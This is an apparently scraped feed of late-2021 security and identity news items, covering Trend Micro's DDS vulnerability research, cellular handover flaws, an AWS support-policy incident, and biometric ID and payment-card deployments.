Cisco Talos discovered a malicious campaign in October 2021 delivering variants of Nanocore, Netwire and AsyncRATs targeting users' information. According to Cisco, the victims of this campaign are primarily distributed across the United States, Italy and Singapore. The actor used complex obfuscation techniques in the downloader script.

# data[].attributes.headline
Secure boot for UK electric car chargers isn't mandatory until 2023 – but why the delay?

# data[].attributes.subject
Secure boot for UK electric car chargers isn't mandatory until 2023 – but why the delay?

# data[].attributes.attachment_link.title
UK electric car charger security may improve by 2023

# data[].attributes.attachment_link.description
Good: New requirements in new law. Bad: Grace period

# data[].attributes.headline
Defending the Supply Chain: Why the DDS Protocol is Critical in Industrial and Software Systems

# data[].attributes.subject
Defending the Supply Chain: Why the DDS Protocol is Critical in Industrial and Software Systems

# data[].attributes.attachment_link.readable_text
ICS OT

In 2021, a team of researchers from Trend Micro Research, TXOne, ADLINK, Alias Robotics, and ZDI looked into the Data Distribution Service (DDS) standard and its implementations from a security angle. The full findings of this research will be presented in the S4X22 Conference in April 2022.

By: Trend Micro Read time: ( words)

By Federico Maggi, Erik Boasson, Mars Cheng, Patrick Kuo, Chizuru Toyama, Víctor Mayoral Vilches, Rainer Vosseler, and Ta-Lun Yen

If there existed a prize for the most pervasive, critical, and least-known middleware technology, the Data Distribution Service ( DDS) standard would certainly win it. When we first presented the results of this research at the Black Hat Europe Briefings, the audience appeared to be completely unaware (embarrassed, even) that the DDS drives railways, autonomous cars, airports, spacecrafts, diagnostic imaging machines, luggage handling, industrial robots, military tanks, and frigates for about a decade, with its adoption increasing steadily.

Given this technology's ubiquity, we decided to investigate further and discovered multiple security vulnerabilities, resulting in 13 new CVE IDs for the six most common DDS implementations. This includes one vulnerability in the standard specifications and other deployment issues in the DDS software ecosystem (including a fully open production system). These vulnerabilities have been patched or mitigated by the vendors since we reported them.

Figure 1. We found exposed DDS systems in 34 countries, including vulnerable ones, identified via distinct IPs leaking data

By measuring the exposure of DDS services, in one month we found 643 distinct public-facing DDS services in 34 countries affecting 100 organizations via 89 internet service providers (ISPs). Of the DDS implementations by seven distinct vendors (one of which we were initially unaware of), 202 leaked private IP addresses (referring to internal network architecture details), and seven supposedly secret URLs. Some of these IP addresses expose unpatched or outdated DDS implementations, which are affected by some of the vulnerabilities that we've discovered and disclosed in November.

This research is from the collaboration of Trend Micro Research and TXOne Networks (Federico Maggi, Mars Cheng, Patrick Kuo, Chizuru Toyama, Rainer Vosseler, and Ta-Lun Yen), ADLINK Labs (with Erik Boasson, one of the inventors and core developers of DDS), Alias Robotics (with Víctor Mayoral Vilches, Robotics Architect), and Trend Micro Zero Day Initiative ( ZDI). We analyzed the specifications of DDS and the six implementations maintained by certified vendors with millions of deployments globally. During our research, we interviewed key DDS users and system integrators to collect their feedback on our findings and the importance of DDS for innovation in their respective sectors.

As a critical piece of technology that receives little attention and considering our findings, we encourage other researchers, DDS users, and implementors to promote security awareness about DDS and its ecosystem. Successful exploitation of these vulnerabilities in any of the critical sectors where DDS is used can have consequences, such as (including nomenclature referring to the ATT&CK ICS framework):

loss of control (T0827)

loss of safety (T0880)

denial of service (DoS, T0814) via brute forcing (T0806)

facilitate initial access (TA0108) via exploitation of remote services (T0866, T0886) or supply chain compromise (T0862)

allow attackers to perform discovery (TA0102, T0856) by abusing the discovery protocol

abuse the protocol itself to create an efficient command and control channel (T0869)

According to our analysis, we recommend mitigations such as:

vulnerability scanning (M1016)

network intrusion prevention (M1031)

network segmentation (M1030)

filter network traffic (M1037)

execution prevention (M1038)

auditing (M1047)

Our findings apply worldwide and affect billions of devices across every vertical, including all critical applications such as autonomous driving, intelligent public transportation, telecommunications, cloud, healthcare, consumer and industrial robotics, and defense systems.

Based on our findings and a demonstration of their impact to the DDS's key sectors, we advocate for the continuous security testing of DDS and other related critical technology. We also provide actionable recommendations to use for a secure DDS integration. To help raise awareness on the importance of DDS security, we provide two examples showing how an attacker can amplify network traffic, leading to real-time and determinism issues or cause an autonomous vehicle to lose control and collide against objects when implemented without the proper security measures.

Given that DDS is little known yet quite ubiquitous, we encourage subject-matter experts to reuse our proofs of concept to raise awareness and help decision-makers allocate proper resources in securing current and future DDS deployments.

What is DDS and why is it critical?

DDS is a machine-to-machine technology used for publish-subscribe middleware applications in real-time** and embedded systems. This standard is maintained by the Object Management Group ( OMG) and is used in all classes of critical applications to implement reliable communication layers between sensors, controllers, and actuators.

For example, when the artificial intelligence (AI) of an autonomous car needs to issue a "turn left" command, DDS is used to transport that command from the electronic control unit (ECU) (the car's "brain") down to the steering servomotors. The same instance also happens when speed sensors send information from the motor up to the ECU. We verified that the DDS runs successfully on starter kit ECUs, making any autonomous vehicle based on this hardware and software stack susceptible to our findings.

Another example is when an airport operator inside the air traffic control tower needs to illuminate the runway of an airport. In modern airports, these specific signals are transmitted via software, and DDS is used to ensure timely delivery of those commands. The average airport runway has thousands of control points: considering there are more than 10,000 (expected to become 44,000) airports in the world, each with an average of 2.5 runways (up to 36), even if only 1% of them would be using DDS (conservatively), this would make roughly 250,000 DDS nodes (up to 1.1M) in airports alone.

As seen in Figure 1, DDS is at the very beginning of the software supply chain, making it easy to lose track of. Because of this, DDS is attractive to attack or compromise for the resulting impact. Between 2020 and 2021, 66% of attacks in the software industry targeted suppliers' software. During our research, we encountered an exposed source-code repository hosting a proprietary implementation of DDS, which would have let an attacker infect the source code ( T0873, T0839).

Figure 2. DDS is a standardized software library used for software-based controlled systems, directly or via ROS 2

Autonomous driving, air-traffic control, cloud and virtualization, and connected healthcare are only some of the many applications of DDS technology.Notably, DDS is used by some of these agencies and organizations:

DDS is the foundation of other industry standards including Open field Message Bus ( OpenFMB) used for smart-grid applications, Adaptive AUTOSAR, Medical Device Plug-and-Play ( MD PnP) Interoperability Program, Generic Vehicle Architecture ( GVA), and NATO GVA ( NGVA). The Robot Operating System 2 (ROS 2), which is the de-facto standard operating system (OS) for robots and automation, has DDS as the default middleware. Notably, NASA's recent Space ROS initiative will bring ROS 2 to space. DDS is also used for system-virtualization and cloud-computing applications, mainly to exchange data across machines and data centers.
**We acknowledge that "real-time" is used in a generic and non-strict (hard real-time) manner in DDS specifications. No actual discussion of the timing guarantees (hard real-time, firm real-time, or soft real-time) is provided in any of the reviewed documents, thereby we conclude that DDS targets remote, soft real-time communications at best, leaving firm and hard real-time interactions to other technologies.
A vulnerability in the standard's specifications

Like any other engineering product, DDS also has vulnerabilities in its code base and ecosystem (for example, development tools, cloud back-ends, Docker images, and integration libraries). One peculiar finding is an amplification vulnerability ( CVE-2021-38487, CVE-2021-38429) that lets a malicious actor trigger network-flooding attacks by spoofing a single DDS discovery packet. When compromised, this leads to service malfunction and breaking real-time properties of communication. Interestingly, this amplification vulnerability is evident just by reading the DDS standard specifications, which do not mandate proper checks that would avoid the corner cases that an attacker could exploit. We verified that the same exploit works unmodified against multiple products, confirming that it's not just an implementation-specific issue.

Figure 3. By spoofing the participant locator, any participant can pretend to be anyone else, and the receiver is forced (following the specification requirement) to answer back until a valid acknowledgement is received

DDS development environment exposed to the internet

While monitoring for exposed continuous-integration/continuous-deployment (CI/CD) systems via Shodan, we found that one DDS developer left their custom CI/CD environment fully exposed to the internet with default credentials. Despite our numerous attempts to contact this vendor, including through vulnerability brokers and Computer Emergency Readiness Teams (CERTs), we received no response. Fortunately, the exposed system was properly locked down after a few months.

Left open, this could have let a malicious actor wipe, steal, or trojanize their most valuable intellectual property - the source code.

Figure 4. An exposed continuous integration system used by a DDS developer, with default access credentials in plaintext

What are the possible consequences?

An attacker armed with working exploits for these vulnerabilities could disrupt a target device's normal operation through network DoS, move laterally, or (in some cases) control a machine. Since DDS is used in mission-critical applications, even a simple DoS capability can be used as a leverage for powerful extortion-based attacks, as we observed throughout 2020 and 2021. We found 643 unique IPs that expose DDS endpoints. Considering that DDS is supposed to only be deployed in a local network, 643 is a significant number. Moreover, some of these endpoints leak information about internal network structure such as private IPs.

For those endpoints' characteristics and data, we were able to hypothesize the DDS product version that runs behind it. We can say all but four of them are vulnerable to at least one of our CVEs (compare the CVE table with the version column).

The network-reflection vulnerability affects both the specifications and most of the implementations. Eclipse CycloneDDS and GurumDDS are not affected, meaning that they have built-in mitigation measures (although they are still susceptible to reflection attacks). In addition, most of the implementations are affected by at least one vulnerability. The possibility of exploitation (T1210) may vary depending on the runtime environment. Notably, protections like stack canaries or address space layout randomization (ASLR), which are normally available in traditional endpoints, are not always implemented in embedded systems.

Table 1. Summary of the vulnerabilities found and with assigned CVEs across the main DDS implementations and standard specification.

We listed just some of the results of compromise and attacks should these DDS vulnerabilities be left unsecured, along with the corresponding MITRE ATT&CK ICS taxonomy, such as loss of control (T0827), loss of safety (T0880), and denial of service (T0814) via brute forcing (T0806). In addition, some implementations are affected by stack- or heap-based overflow vulnerabilities, which can be exploited to facilitate initial access (TA0108) via exploitation of remote services (T0866, T0886). In any case, given that three popular DDS distributions are open source, supply-chain compromise (T0862) is also a viable scenario. By writing an automated network scanner, we demonstrate that it is possible for an attacker to perform automated discovery (TA0102, T0856) by abusing the built-in discovery protocol, or even to abuse the protocol itself to create an efficient command and control channel (T0869).

Remediation: Beyond patching

In the short term, we recommend mitigations such as periodic vulnerability scanning (M1016) to detect the presence of unpatched services, and the deployment of network intrusion prevention (M1031), network segmentation (M1030), and filtering of network traffic (M1037) to detect spoofed DDS messages and prevent the exploitation of the reflection vulnerability. We also recommend measures for execution prevention (M1038) to reduce the exploitation of memory errors, and periodic auditing (M1047).

When dealing with the security of critical software in the supply chain such as DDS, the most pressing need is to make the code base more amenable to the integration of automated security-testing tools. Taking fuzz-testing as a representative example. We advocate that all critical software libraries such as DDS should be developed with a strong orientation to security testing in addition to traditional unit testing. The situation has improved immensely thanks to initiatives such as OSS-Fuzz, but there's still a significant gap between security engineers and software engineers. This results in tedious manual code reviews, unwanted modifications in the code to integrate security checks, and so on, delaying the wide scale adoption of available security tools.

The positive and engaging response to our disclosure by ADLINK, which went to the point of assisting Trend Micro researchers in creating good fuzz targets against their own code base, should serve as an example to the entire software-engineering industry. Hopefully, this can serve as a role model to the entire software industry.

Trend Micro solutions

Trend Micro™ TXOne™ Networks EdgeIPS Pro™, EdgeIPS™, and EdgeFire™ customers are protected under this rule:

1137699 ICS DDS RTPS-mode Amplification Attack (CVE-2021-38429)

# data[].attributes.attachment_link.title
Defending the Supply Chain: Why the DDS Protocol is Critical in Industrial and Software Systems

# data[].attributes.attachment_link.description
In 2021, a team of researchers from Trend Micro Research, TXOne, ADLINK, Alias Robotics, and ZDI looked into the Data Distribution Service (DDS) standard and its implementations from a security angle. The full findings of this research will be presented in the S4X22 Conference in April 2022.

# data[].attributes.headline
Pakistan turns to fingerprint liveness detection to shut down fraudulent SIM business

# data[].attributes.subject
Pakistan turns to fingerprint liveness detection to shut down fraudulent SIM business

# data[].attributes.body
#biometirc #fingerprint

# data[].attributes.attachment_link.readable_text
Stolen fingerprints in Pakistan have pushed the government to deploy live finger detectors.

Government regulator the Pakistan Telecommunications Authority will use the biometric devices specifically for issuing mobile device SIM cards. Fraudulent SIM cards hide the identity of a device's owner.

Pakistan began enforcing SIM ownership in 2008 using biometric verification. At the time, would-be buyers provided their national ID number and a fingerprint.

The publication ProPakistani reports that there are more than 300,000 older government-approved biometric verification devices nationwide. Each will be replaced with the live detection version.

There reportedly are around 700,000 active fake SIM cards in the country. Most false prints come from deceased individuals. Others are from official documents such as voter cards, sometimes obtained through collusion with insiders.

When Pakistan launched its biometric SIM registry, the idea was still somewhat novel. Since then, other countries such as Nigeria, Bangladesh and more than a dozen others have followed suit, like Pakistan hoping to cut down on crimes carried out under the anonymity provided by mobile phones. A similar proposal has met with staunch resistance in Mexico.

Liveness and presentation attack detection for fingerprint biometrics have likewise advanced significantly in recent years, as shown by the participation of more than a dozen technology providers in the LivDet challenge.

Pakistan appears to be the first nation to deploy fingerprint liveness detection for SIM registration.

The stakes for weeding out fraudulent SIM cards are made even higher by a plan to launch digital wallets based on the biometric SIM registry, in an effort to improve financial inclusion.

Article Topics

biometric identification | biometric liveness detection | biometrics | fingerprint recognition | fraud prevention | identity verification | Pakistan | SIM cards | spoof detection

# data[].attributes.attachment_link.title
Pakistan turns to fingerprint liveness detection to shut down fraudulent SIM business | Biometric Update

# data[].attributes.attachment_link.description
Stolen fingerprints in Pakistan have pushed the government to deploy live finger detectors. Government regulator the Pakistan Telecommunications Authority will use the biometric devices specifically for issuing mobile device SIM cards. Fraudulent SIM cards hide the identity of a device's owner. Pakistan began enforcing SIM ownership in 2008 using biometric verification.

# data[].attributes.headline
Willingness grows for digital ID, sharing personal data — with conditions

# data[].attributes.subject
Willingness grows for digital ID, sharing personal data — with conditions

# data[].attributes.body
#digitalid

# data[].attributes.attachment_link.readable_text
Customer identity solutions provider Okta has published a report on attitudes towards digital services and digital identity in Europe. Results vary across the nine countries canvassed, but the general trend is that individuals are showing greater understanding of digital issues and demand better experiences, security and, when it comes to giving up personal data, value. Okta believes digital identity and how it is implemented is central to delivering the trust needed for broader digital development.

The ' Identity: the Digital Trust Accelerator' whitepaper (available to download in full in return for your own personal data) surveyed 12,010 people from the UK, Ireland, Germany, France, the Netherlands, Spain, Sweden, Italy and Switzerland in October 2021. Highlights are also available separately.

The whitepaper finds that people are turning to digital services because they now deliver good user experiences beyond sampling being time and cost-effective. "If people are to reap the full benefit of these increasingly available digital services, they'll need to share more of their digital identity and personal data. This demands trust," states the summary.

Governments will have to cultivate trust if they want to roll out digital initiatives such as digital identity verification and public health tools like COVID health passes. "While the advent of such solutions has sparked public debate, a majority of respondents to our survey (55 percent) supported the idea of government-led vaccine passport initiatives, and 63 percent said they'd be willing to have some personal details incorporated into a digital ID," states the report. Only 9 percent would feel comfortable with the inclusion of financial details.

Respondents who are willing to accept digital IDs feel that way primarily due to ease of use (55 percent) and convenience. Thirty-nine percent of respondents would like the fact all their information is in one place, and 35 percent believe that physical IDs are easier to lose or misplace than digital IDs.

Trust in government services differs not just by country, but age. Generally, younger people are less trusting: "this is particularly true in the UK, France and Germany, with 42 percent of 18-to 29-year-olds in the UK expressing distrust in the digital services provided by their government, as opposed to 26 percent of 60- to 75-year-olds."

A third of those lacking trust in government digital services said this distrust might even lead them to consider changing who they vote for. Rates are higher among younger voters.

Article Topics

biometrics | consumer adoption | data protection | data sharing | digital ID | digital identity | Europe | government services | identity verification | Okta | privacy

# data[].attributes.attachment_link.title
Willingness grows for digital ID, sharing personal data - with conditions | Biometric Update

# data[].attributes.attachment_link.description
Customer identity solutions provider Okta has published a report on attitudes towards digital services and digital identity in Europe. Results vary across the nine countries canvassed, but the general trend is that individuals are showing greater understanding of digital issues and demand better experiences, security and, when it comes to giving up personal data, value.

# data[].attributes.headline
AustriaCard, Tag Systems and Nitecrest merge

# data[].attributes.subject
AustriaCard, Tag Systems and Nitecrest merge

# data[].attributes.body
#rfid

# data[].attributes.headline
Thales Brings Biometric Payment Cards to Poland

# data[].attributes.subject
Thales Brings Biometric Payment Cards to Poland

# data[].attributes.body
#smartcard #biometric

# data[].attributes.attachment_link.readable_text
Biometric payment cards have now arrived in Poland, thanks to a collaboration between Thales, Mastercard, and Bank Pocztowy. The latter is now offering a fingerprint-scanning card to its corporate customers, who will be able to biometrically authorize payments with no cap on the amount of money being processed in a given transaction.

The rollout officially began on December 20, after a five-month development effort that also involved Fiserv Polska S.A. In a statement announcing the launch, Thales asserted that it developed the biometric card and is also responsible for its packaging and distribution.

The Polish launch comes after Thales brought its biometric card to the Middle East in the autumn of 2021, in partnership with Mastercard and Jordan Kuwait Bank. Thales has previously developed biometric cards featuring fingerprint sensor technology from Fingerprint Cards, but Thales has made no such connection explicit in these latest announcements of its card launches.

In its Bank Pocztowy announcement, Thales noted that card payments account for 62 percent of all transactions in Poland, and highlighted the security of its biometric solution, which enables contactless transactions with no need for a PIN. The company asserted that its biometric solution "makes it impossible for a third party to use the card," adding that users' biometric data is stored on the card and never communicated to an external server, POS terminal, or ATM.

Bank Pocztowy will promote the new card to small and medium-sized enterprises this month, and plans to further extend the offering to additional customers going forward.

Marcin Ledworowski, a member of Bank Pocztowy's Board for Business and IT, asserted that the collaboration with Thales and Mastercard "allows us to reach further milestones on the way to digitalization of the banking sector and enables customers to benefit from the solutions that are convenient and innovative, yet secure," adding, "We are looking forward to continuing the project so that the biometric card could also be used by our individual customers."

-

January 3, 2022 - by Alex Perala

# data[].attributes.attachment_link.title
Thales Brings Biometric Payment Cards to Poland - FindBiometrics

# data[].attributes.attachment_link.description
Biometric payment cards have now arrived in Poland, thanks to a collaboration between Thales, Mastercard, and Bank Pocztowy. The latter is now offering a fingerprint-scanning card to its corporate customers, who will be able to biometrically authorize payments with no cap on the amount of money being processed in a given transaction.

# data[].attributes.headline
Biometrics’ role in zero trust considered by Fingerprint Cards, Nuance

# data[].attributes.subject
Biometrics’ role in zero trust considered by Fingerprint Cards, Nuance

# data[].attributes.body
#smartcard #fingerprint

# data[].attributes.attachment_link.readable_text
Biometrics can provide the constant identity verification necessary to implement a cybersecurity strategy based on zero trust principles, without unduly inconveniencing workers, according to a blog post by Fingerprint Cards SVP Michel Roig.

The 'never trust, always verify' approach requires organizations to have a technology that can bind users and credentials, and presents an opportunity to shift away from legacy authentication as part of that process, Roig argues.

"The human factor has long been considered the primary weakness of cyber security, and one of the core objectives of Zero Trust is to address this vulnerability," he writes.

Between the proliferation of smartphones and popularity of their native biometric capabilities, and the availability of biometrics-enables peripherals, including access cards, even relatively challenging environments like shared and work-from-home workstations can be secured.

Nuance pitches voice biometrics for zero trust

Similarly, a blog post by Nuance Communications VP and GM, Security & Biometrics Business Line, Brett Beranek reviews a recent conversation with representatives of Microsoft and Nuance Australia about zero trust, and the role voice biometrics can play in bringing the modern security approach to contact centers.

Since the pandemic, the environments agents operate in have changed dramatically, and the security and monitoring technologies and techniques of the past no longer apply in many cases.

Agents can use voice biometrics to authenticate their customers, and used with a holistic fraud prevention platform, can support an organization-wide zero trust security posture.

The acquisition of Nuance by Microsoft, meanwhile, has been granted final approval by the European Commission. An investigation found that competition for transcription software, cloud services, enterprise communication services, customer relationship management, productivity software and PC operating systems would not be significantly reduced.

BIO-key has published a whitepaper on ' Why Zero Trust is Important,', exploring the architecture of zero trust approaches, and the need for ongoing real-time trustworthiness assessments and identity verification. The whitepaper also reviews what technologies are needed to make zero trust work, and barriers to its adoption.

Article Topics

access management | BIO-key | biometrics | cybersecurity | Fingerprint Cards | identity verification | Nuance Communications | voice biometrics | Zero Trust

# data[].attributes.attachment_link.title
Biometrics' role in zero trust considered by Fingerprint Cards, Nuance | Biometric Update

# data[].attributes.attachment_link.description
Biometrics can provide the constant identity verification necessary to implement a cybersecurity strategy based on zero trust principles, without unduly inconveniencing workers, according to a blog post by Fingerprint Cards SVP Michel Roig.

# data[].attributes.headline
Zwipe plans biometric payment card launches in two regions, signs manufacturing deal in a third

# data[].attributes.subject
Zwipe plans biometric payment card launches in two regions, signs manufacturing deal in a third

# data[].attributes.body
#smartcard #biometric

# data[].attributes.attachment_link.readable_text
Zwipe has reached new deals with partners in Mexico, Lebanon and India to manufacture and pilot biometric payment cards, the company has revealed with a series of announcements.

Partners Easy Pay is planning a pilot of fingerprint biometrics-enabled payment cards in India ahead of commercial launches planned for the summer of 2022, in collaboration with Zwipe and the latter's manufacturing partner in the country, KL Hi-Tech. Easy Pay is a fast-growing payment services company currently used by more than 2 million retailers

"We see many use cases for biometrics beyond payments, for example access cards for use in hotel chains, as well as high-end real-estate and smart city projects where we have long term contracts and a demanding client base," states Easy Pay Founder and CEO Nilay Patel. "Following internal tests and external pilots we aim for commercial launches of biometric payment cards during summer of 2022."

The pilot is the first confirmed for Zwipe in India.

A medium-sized bank in the Levant region, meanwhile, has chosen to pilot a biometric payment card enabled with Zwipe Pay ONE in the first half of 2022, through the biometrics provider's partnership with areeba.

The bank specializes in wealth management, and serves thousands of high-net worth and affluent customers, the partners say.

"We are confident that the pilot will show how biometric payment cards can help the bank to attract new customers, uplift customer loyalty and ensure excellent returns from their payment portfolio," comments Ramzi Saboury, general manager of Zwipe in MENA Region. "Zwipe will be supporting the bank through all stages of the pilot journey, ensuring smooth pilots with strong end user focus."

Zwipe and areeba have already announced joint pilot projects in Lebanon and Iraq, and areeba has been working on pilots of biometric cards in the region since 2018.

Zwipe is also working with INC in Iraq, with a pilot coming soon.

New manufacturer partnership

Forzacard is Mexico's leading domestic card manufacturer, according to a separate announcement, and will develop and launch biometric cards powered by Zwipe, under a new agreement.

The card-maker delivers more than 25 million payment cards per year to customers across multiple countries. It is certified for Visa, Mastercard and Carnet cards.

The new cards will start with payments, and feature Zwipe Pay ONE.

"Mexico is leading the way in the adoption of biometric payment cards in Central and North America," explains Zwipe CEO André Løvestam. "Partnering with Forzacard in Mexico will enable us to respond to a strong and growing demand for biometric payment cards from banks and payment service providers in that region."

The company is also looking into the opportunity to launch biometrics payment cards in North America with a partner.

Article Topics

# data[].attributes.attachment_link.title
Zwipe plans biometric payment card launches in two regions, signs manufacturing deal in a third | Biometric Update

# data[].attributes.attachment_link.description
Zwipe has reached new deals with partners in Mexico, Lebanon and India to manufacture and pilot biometric payment cards, the company has revealed with a series of announcements. Partners Easy Pay is planning a pilot of fingerprint biometrics-enabled payment cards in India ahead of commercial launches planned for the summer of 2022, in collaboration with Zwipe and the latter's manufacturing partner in the country, KL Hi-Tech.

# data[].attributes.headline
IN Groupe wins award for France’s national eID, biometric passport deal for Seychelles

# data[].attributes.subject
IN Groupe wins award for France’s national eID, biometric passport deal for Seychelles

# data[].attributes.body
#passport #biometric

# data[].attributes.attachment_link.readable_text
Two national ID events round off a busy 2021 for IN Groupe; an award for the new biometric ID card it collaborated on for its home country France, and a contract win to supply biometric passports to the Seychelles.

The jury of experts for the High Security Printing (HSP) EMEA awards, operated by Reconnaissance International, chose two joint winners for Best National ID Card: the new eID card developed by the French Ministry of the Interior, ANTS (Agence Nationale des Titres Sécurisés) and IN Groupe alongside the new German eID from the Bundesdruckerei and Bundeskriminalamt. The cards are part of the new generation of biometric identity documents in the EU and also serve as travel credentials within the bloc.

IN Groupe, a public limited company, won again for its collaboration with Monaco's Département de l'Intérieur for the Monaco Residents Permit in the Best New ID of Travel Document category.

Other winners include the HID Global and Estonian Police and Border Guard Board's ePassport for EMEA, the Veridos/Bangladesh ePassport for Asia.

Best new national ID card in the Latin America region went to Idemia and Colombia's National Vital Statistics Registry. In the same region, the best new ID or travel document was awarded to HID Global and the Argentine National Registry of People for Argentina's Smart DNI.

Seychelles biometrics passports expected by end of 2022

The Seychelles Ministry for Internal Affairs has signed a deal with IN Groupe to produce its first biometric passports. The French firm has already been supplying passport booklets to the country for 15 years.

When it goes into use by the end of 2022, the new credential will grow from 32 to 48 pages, and last 10 years rather than five.

The country also hopes that the new documents will put it in a better position to negotiate visa waivers.

The principal secretary for the Department of Immigration and Civil Status, Alain Volcere, said that as Seychelles is a member of the International Organisation for Civil Aviation's (ICAO) Public Key Directory, "when a foreign-passport holder goes through our system, we will know within the space of 10 seconds whether the passport has been tampered with, cloned or issued by the right authority.

"A biometric passport system will thus help us to elevate our security levels considering the prevalence of criminality in the world today, so it is important that we know the identities of persons coming in and for access control at the airport. Therefore, it is a significant step in border control management in Seychelles, and we will see its many fruits in the future."

Article Topics

awards | biometric passport | biometrics | credentials | digital ID | eID | identity document | IN Groupe | national ID | Seychelles | travel documents

# data[].attributes.attachment_link.title
IN Groupe wins award for France's national eID, biometric passport deal for Seychelles | Biometric Update

# data[].attributes.attachment_link.description
Two national ID events round off a busy 2021 for IN Groupe; an award for the new biometric ID card it collaborated on for its home country France, and a contract win to supply biometric passports to the Seychelles.

# data[].attributes.headline
New Vulnerabilities Affect all Cellular Networks from 2G

# data[].attributes.subject
New Vulnerabilities Affect all Cellular Networks from 2G

# data[].attributes.body
#telcosecurity

# data[].attributes.attachment_link.readable_text
Specialists from New York University Abu Dhabi (NYUAD) spoke about vulnerabilities in the handover mechanism that underlies modern cellular networks. Vulnerabilities can be exploited by attackers to launch denial-of-service (DoS) and man-in-the-middle (MitM) attacks using inexpensive hardware.

"Vulnerabilities in the handover process are not limited to just one case, but involve a variety of handover cases and scenarios based on unverified measurement reports and signal strength thresholds. The problem affects all generations from 2G (GSM) and is still unresolved, " said researchers Evangelos Bitsikas and Christina Pöpper.

Handover, also known as handoff, is the fundamental mechanism underlying modern cellular networks. In cellular communications, this is the process of handing over a subscriber during a call or data transfer session from one base station to another. Handover plays a critical role in establishing cellular communications, especially when the user is on the move.

The process is as follows: The user's device sends data on the signal strength to the network in order to determine whether a handover is needed, and if necessary, facilitates switching when a more suitable base station is found.

Although the signal strength reports are encrypted, their content is not verified, so an attacker could force a device to connect to a base station under their control. The essence of the attack lies in the fact that the original base station is not able to process incorrect values ​​in the signal strength report, which increases the likelihood of a malicious handover.

"If an attacker manipulates the contents of the [signal strength report] by including his / her measurements, the network will process the bogus values. This is possible by simulating a legitimate base station and playing back its broadcast messages, "the researchers said.

Before carrying out an attack, the attacker conducts an initial reconnaissance phase. Using a smartphone, it collects data related to nearby legitimate base stations and then uses this information to configure a rogue base station to impersonate the real one. The attacker then forces the victim's device to connect to the fake base station by broadcasting the service information blocks (MIBs and SIBs) needed to help the phone connect to the network - with a higher signal strength than the fake base station.

By forcing a user's device to connect to a fake station and report bogus signal strength measurements to the network, the attacker initiates a handover and exploits vulnerabilities in the process to cause a denial of service (DoS), MitM attack, and information disclosure, which affects both the user and to the telecom operator. This jeopardizes not only the privacy of users but also the availability of services.

"When a user's device is within range of an attacker, and the signal of the fake base station is strong enough to attract the user's device and trigger a report of changes in signal strength, the attacker has a high chance of forcing the victim's device to connect to his / her fake base station through abuse. a handover process, "the researchers said.

In total, experts identified six vulnerabilities in the handover:

Insecure broadcast messages (MIB, SIB);

Unverified reports of signal strength measurements;

No cross-validation at the preparation stage;

Random access channel (RACH) initiation without verification;

Lack of a recovery mechanism;

Difficulty distinguishing network outages from attacks.

During the experiment, the researchers found that all tested devices (OnePlus 6, Apple iPhone 5, Samsung S10 5G, and Huawei Pro P40 5G) are vulnerable to DoS and MitM attacks.

# data[].attributes.attachment_link.keywords[]
new vulnerabilities affect all cellular networks from 2g

# data[].attributes.attachment_link.title
New Vulnerabilities Affect all Cellular Networks from 2G

# data[].attributes.attachment_link.description
Specialists from New York University Abu Dhabi (NYUAD) spoke about vulnerabilities in the handover mechanism that underlies modern cellular networks. Vulnerabilities can be exploited by attackers to launch denial-of-service (DoS) and man-in-the-middle (MitM) attacks using inexpensive hardware.

# data[].attributes.headline
AWS Support may get Unattended Access to Millions of AWS S3 Buckets

# data[].attributes.subject
AWS Support may get Unattended Access to Millions of AWS S3 Buckets

# data[].attributes.body
#cloud #aws #s3

# data[].attributes.attachment_link.readable_text
Last Wednesday, Amazon AWS supports team deployed a new version of AWSSupportServiceRolePolicy v20, used by a mandatory role for AW Support access to all AWS Accounts. In this policy, they added the action: s3:getObject which gives access to all customer data by AWS Support teams.

Later some hours AWS team have reverted the change and made the v19 version (old version) the default version for everyone. When the AWS security guys detected the change of AWSSupportServiceRolePolicy they came up with the awareness tweet.

Victor Grenu, an independent AWS cloud security with a Twitter handle @zoph twittered about the changing incident that took place in AWS cloud with the warning message -

The day when the AWS Support got access to your S3 data.

In this thread, you will find details about the security incident that leads to this unattended access for millions of AWS customers. 🧵
- Victor Grenu (@zoph) December 23, 2021

Further, he added- users can't delete the Support role and also cannot use SCPs on service-linked-role.

After this, the Amazon AWS team released a statement regarding this unexpected behavior.

Between December 21, 2021 at 23:48 UTC and December 22, 2021 at 08:23 UTC, the policy used by AWS Support automated systems - AWSSupportServiceRolePolicy - inadvertently included S3:GetObject permissions. This change has been reverted. While these permissions were temporarily present, they were not and could not be used - only a tightly controlled set of AWS support systems may assume the AWSSupportService role, and these systems do not provide the capability to access S3 objects even if permission is granted to the role.

AWS team mentioned that the support team cannot access the user's S3 buckets - " systems do not provide the capability to access S3 objects even if permission is granted to the role".

What to do to Secure your S3 Bucket

To prevent unattended access from the AWS Support team, users can perform a couple of things-

You should enable CloudTrail S3 Events (it could be costly for accounts with a lot of S3 object movements).

Enable server access logs - you will not have a full picture here as some info is missing.

You can use KMS-CMK to control access.

You can limit resource policy (buckets).

After this incident, even the AWS team said that they are implementing additional safeguards to prevent the Support policy from inadvertently granting data access permissions. All changes to AWS Managed Policies are publicly visible and all access to S3 objects are recorded in S3 server access logs and CloudTrail data events.

# data[].attributes.attachment_link.keywords[]
aws support may gets unattended access to millions of aws s3 buckets.

# data[].attributes.attachment_link.title
AWS Support may gets Unattended Access to Millions of AWS S3 Buckets.

# data[].attributes.attachment_link.description
Last Wednesday, Amazon AWS supports team deployed a new version of AWSSupportServiceRolePolicy v20, used by a mandatory role for AW Support access to all AWS Accounts. In this policy, they added the action: s3:getObject which gives access to all customer data by AWS Support teams. Later some hours AWS team have reverted the change and made the v19 version (old version) the default version for everyone.

# data[].attributes.headline
5G in India Will Arrive for These 13 Cities First

# data[].attributes.subject
5G in India Will Arrive for These 13 Cities First

# data[].attributes.body
#5g

# data[].attributes.attachment_link.readable_text
For people who can't wait, 5G is coming to some cities in India this year. They'll have everything they've been dreaming of-downloading content super-fast or being able to play games that need a good connection. It's not available nationwide yet, but it will be in cities like Delhi, Lucknow & Chandigarh. Although 5G technology was supposed to be rolled out in 2021 itself, this has not happened so far.

The Department of Telecom has told the public that 5G service will be coming to 13 Indian cities by 2022. It's also worth mentioning that India's three largest telecommunications companies- Airtel, Jio, and Vodafone-Idea -have been testing 5G extensively. The Department of Telecommunications (DoT) has confirmed that these metros and big cities would receive live commercial 5G networks first.

We won't know for sure what cities will be eligible to use high-speed internet service (5G) in the year 2022. However, if present trends continue, a total of 13 big cities and 4 major metros- Delhi, Mumbai, Kolkata, and Chennai will be 5G enabled in the same year.

